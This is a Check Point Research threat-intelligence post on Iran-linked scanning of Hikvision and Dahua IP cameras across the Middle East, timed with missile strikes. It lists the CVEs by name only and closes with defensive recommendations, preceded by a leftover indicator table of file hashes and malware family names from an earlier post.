a8c380b57cb7c381ca6ba845bd7af7333f52ee4dc4e935e98b48bb81facad72b Donald Gay 9dcb994ea2b8e6169b76a524fae7b2d2dcd1807d 33000725fea86dd19e8571b26c0000000725fe FakeSet / CastleLoader
24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14 Donald Gay b674578d4bdb24cd58bf2dc884eaa658b7aa250c 3300079a51c7063e66053d229b000000079a51 StageComp
a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0 Donald Gay b674578d4bdb24cd58bf2dc884eaa658b7aa250c 3300079a51c7063e66053d229b000000079a51 StageComp
2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5 Amy Cherne 551bdf646df8e9abe04483882650a8ffae43cb55 330006e15e43401dbd9416e20e00000006e15e DinDoor / Tsundere Deno

The post Iranian MOIS Actors & the Cyber Crime Connection appeared first on Check Point Research.

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Interplay between Iranian Targeting of IP Cameras and Physical Warfare in the Middle East

Key Findings

  • During the ongoing conflict, we identified intensified targeting of IP cameras from two manufacturers starting on February 28, originating from infrastructure we attribute to Iranian threat actors.
  • The targeting extends across Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus – countries that have also experienced significant missile activity linked to Iran. On March 1st, we additionally observed camera-targeting activity focused on specific areas in Lebanon.
  • We also observed earlier, more targeted activity against cameras in Israel and Qatar on January 14–15. These dates surround with Iran’s temporary closure of its airspace, reportedly amid expectations of a potential U.S. strike.
  • Taken together, these findings are consistent with the assessment that Iran, as part of its doctrine, leverages camera compromise for operational support and ongoing battle damage assessment (BDA) for missile operations, potentially in some cases prior to missile launches. As a result, tracking camera-targeting activity from specific, attributed infrastructures may serve as an early indicator of potential follow-on kinetic activity.

Introduction

As highlighted in the Cyber Security Report 2026, cyber operations have increasingly become an additional tool in interstate conflicts, used both to support military operations and to enable ongoing battle damage assessment (BDA). During the 12-day conflict between Israel and Iran in June 2025, the compromise of cameras was likely used to support BDA and/or target-correction efforts.

In the current Middle East conflict, Check Point Research has observed intensified targeting of cameras beginning in the first hours of hostilities, including a sharp increase in exploitation attempts against IP cameras not only in Israel but also across Gulf countries: specifically the UAE, Qatar, Bahrain, and Kuwait, as well as similar activity in Lebanon and Cyprus. This activity originated from multiple attack infrastructures that we attribute to several Iran-nexus threat actors.

Notably, we also identified earlier activity exhibiting similar patterns, dated January 14, coinciding with the peak of anti-regime protests in Iran, a period during which Iran anticipated potential action from the United States and Israel and temporarily closed its airspace.

Findings

Check Point Research (CPR) continuously tracks infrastructure used by Iran-nexus threat actors.

Starting February 28, we observed a spike in targeting of IP cameras in several countries in the Middle East including Israel, UAE, Qatar, Bahrain, Kuwait and Lebanon, while also similar activity occurred against Cyprus.

The attack infrastructure we track combines specific commercial VPN exit nodes (Mullvad, ProtonVPN, Surfshark, NordVPN) and virtual private servers (VPS), and is assessed to be employed by multiple Iran-nexus actors.

Scanning activity we observed targets cameras such as Hikvision and Dahua and aligns with attempts to identify exposure to the vulnerabilities listed below. No attempts to interact with other camera vendors were observed from this infrastructure.

The popular devices of Hikvision and Dahua are targeted with the following vulnerabilities:

CVEVulnerability
CVE-2017-7921An improper authentication vulnerability in Hikvision IP camera firmware
CVE-2021-36260A command injection vulnerability in the Hikvision web server component
CVE-2023-6895An OS command injection vulnerability in Hikvision Intercom Broadcasting System
CVE-2025-34067An unauthenticated remote code execution vulnerability in Hikvision Integrated Security Management Platform
CVE-2021-33044An authentication bypass vulnerability in multiple Dahua products

Patches are available for all of the vulnerabilities listed above.

As a case study, we conducted a deep dive into two of the CVEs listed above – CVE-2021-33044 and CVE-2017-7921 – and examined exploitation attempts originating from operational infrastructure we attribute to Iran, observed since the beginning of the year.

Waves of activity against Israel:

The spikes in this activity are closely aligned with geopolitical events around the same time:

  • January 14-15 – While internal anti-regime protests in Iran peaked, Iranian officials and state media portrayed the unrest as a foreign-backed plot by Iran’s adversaries, including the United States and Israel and also closed its airspace. At the same time we also observe a wave of scans of cameras in the Iraqi Kurdistan.
  • January 24 – The U.S. Central Command (CENTCOM) commander visited Israel and met with the Israel Defense Forces’ chief of staff amid heightened tensions.
  • Beginning of February – Iran’s leadership was increasingly worried about a possible U.S. strike; Iranian/IRGC-linked messaging warned a strike could trigger a wider regional war.

Waves of activity against Qatar:

Waves of activity against Bahrain:

Waves of activity against Kuwait:

Waves of activity against United Arab Emirates:

Waves of activity against Cyprus:

Waves of activity against Lebanon:

We observed similar targeting patterns during the 12-day war between Israel and Iran in June 2025, likely to support battle damage assessment (BDA) and/or targeting correction. One of the best-known cases occurred when Iran struck Israel’s Weizmann Institute of Science with a ballistic missile and had reportedly taken control of a street camera facing the building just prior to the hit

Recommendations for Defenders:

  • Eliminate public exposure: remove direct WAN access to cameras/NVRs; place them behind VPN or a zero-trust access gateway; block inbound port-forwards.
  • Enforce strong credentials: change default passwords, enforce unique credentials.
  • Patch management: keep cameras/NVR firmware and management software updated – updates from the manufacturers are available; remove/replace end-of-life devices that no longer get security fixes.
  • Network segmentation: isolate cameras on a dedicated VLAN with no lateral access to corporate/OT networks; tightly control outbound traffic (only to required update/cloud endpoints).
  • Monitoring & detection: repeated login failures, unexpected remote logins; cameras initiating unusual outbound connections.

The post Interplay between Iranian Targeting of IP Cameras and Physical Warfare in the Middle East appeared first on Check Point Research.

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